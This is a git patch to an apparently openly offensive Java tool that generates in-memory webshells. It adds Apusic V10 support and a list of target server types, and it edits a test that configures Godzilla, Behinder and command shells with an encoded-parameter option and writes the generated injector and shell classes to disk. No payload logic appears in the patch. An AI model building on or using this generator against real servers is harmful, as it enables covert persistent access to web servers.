From 8c06216e96910e063455de4acd81e326960d8f16 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 26 Jun 2025 17:26:46 +0800 Subject: [PATCH] feat: support Apusic V10 --- .../com/reajason/javaweb/memshell/Server.java | 3 +- .../reajason/javaweb/memshell/ServerType.java | 30 +++++++++++++++++++ .../javaweb/memshell/GeneratorMainTest.java | 16 ++++++---- 3 files changed, 43 insertions(+), 6 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/ServerType.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index 094316e3..999eae5c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -85,7 +85,8 @@ public enum Server { /** * 金蝶天燕中间件 */ - Apusic(new ApusicShell()), + Apusic9(new ApusicShell()), + Apusic10(new GlassFishShell()), /** * 中创中间件 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerType.java new file mode 100644 index 00000000..01fff82d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerType.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.memshell; + +/** + * @author ReaJason + * @since 2025/6/11 + */ +public class ServerType { + public static final String TOMCAT = "Tomcat"; + public static final String JETTY = "Jetty"; + public static final String JBOSS_AS = "JBossAS"; + public static final String JBOSS_EAP6 = "JBossEAP6"; + public static final String UNDERTOW = "Undertow"; + public static final String JBOSS_EAP7 = "JBossEAP7"; + public static final String WILDFLY = "Wildfly"; + public static final String RESIN = "Resin"; + public static final String GLASSFISH = "Glassfish"; + public static final String PAYARA = "Payara"; + public static final String WEBLOGIC = "WebLogic"; + public static final String WEBSPHERE = "WebSphere"; + public static final String SPRING_WEBMVC = "SpringWebMVC"; + public static final String SPRING_WEBFLUX = "SpringWebFlux"; + public static final String XXL_JOB = "XXL-JOB"; + public static final String APUSIC = "Apusic"; + public static final String BES = "BES"; + public static final String INFORSUITE = "InforSuite"; + public static final String PRIMETON = "Primeton"; + public static final String TONGWEB6 = "TongWeb6"; + public static final String TONGWEB7 = "TongWeb7"; + public static final String TONGWEB8 = "TongWeb8"; +} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java index f8ff963d..b4b866cf 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java @@ -21,18 +21,22 @@ class GeneratorMainTest { @Disabled void test() { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.Apusic) - .shellTool(ShellTool.Behinder) - .shellType(ShellType.LISTENER) + .server(Server.Tomcat) + .shellTool(ShellTool.Command) + .shellType(ShellType.PROXY_VALVE) .targetJreVersion(Opcodes.V1_8) .debug(true) +// .shrink(true) .build(); GodzillaConfig godzillaConfig = GodzillaConfig.builder() .pass("pass") .key("key") .headerName("User-Agent") .headerValue("test123").build(); - CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build(); + CommandConfig commandConfig = CommandConfig.builder() + .paramName("listener") + .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) + .build(); BehinderConfig behinderConfig = BehinderConfig.builder() .pass("test123") @@ -45,8 +49,10 @@ class GeneratorMainTest { InjectorConfig injectorConfig = new InjectorConfig(); - GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, behinderConfig); + GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); if (generateResult != null) { + System.out.println(generateResult.getShellBytes().length); +// System.out.println(((JarPacker) Packers.AgentJar.getInstance()).packBytes(generateResult).length); Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); // System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()));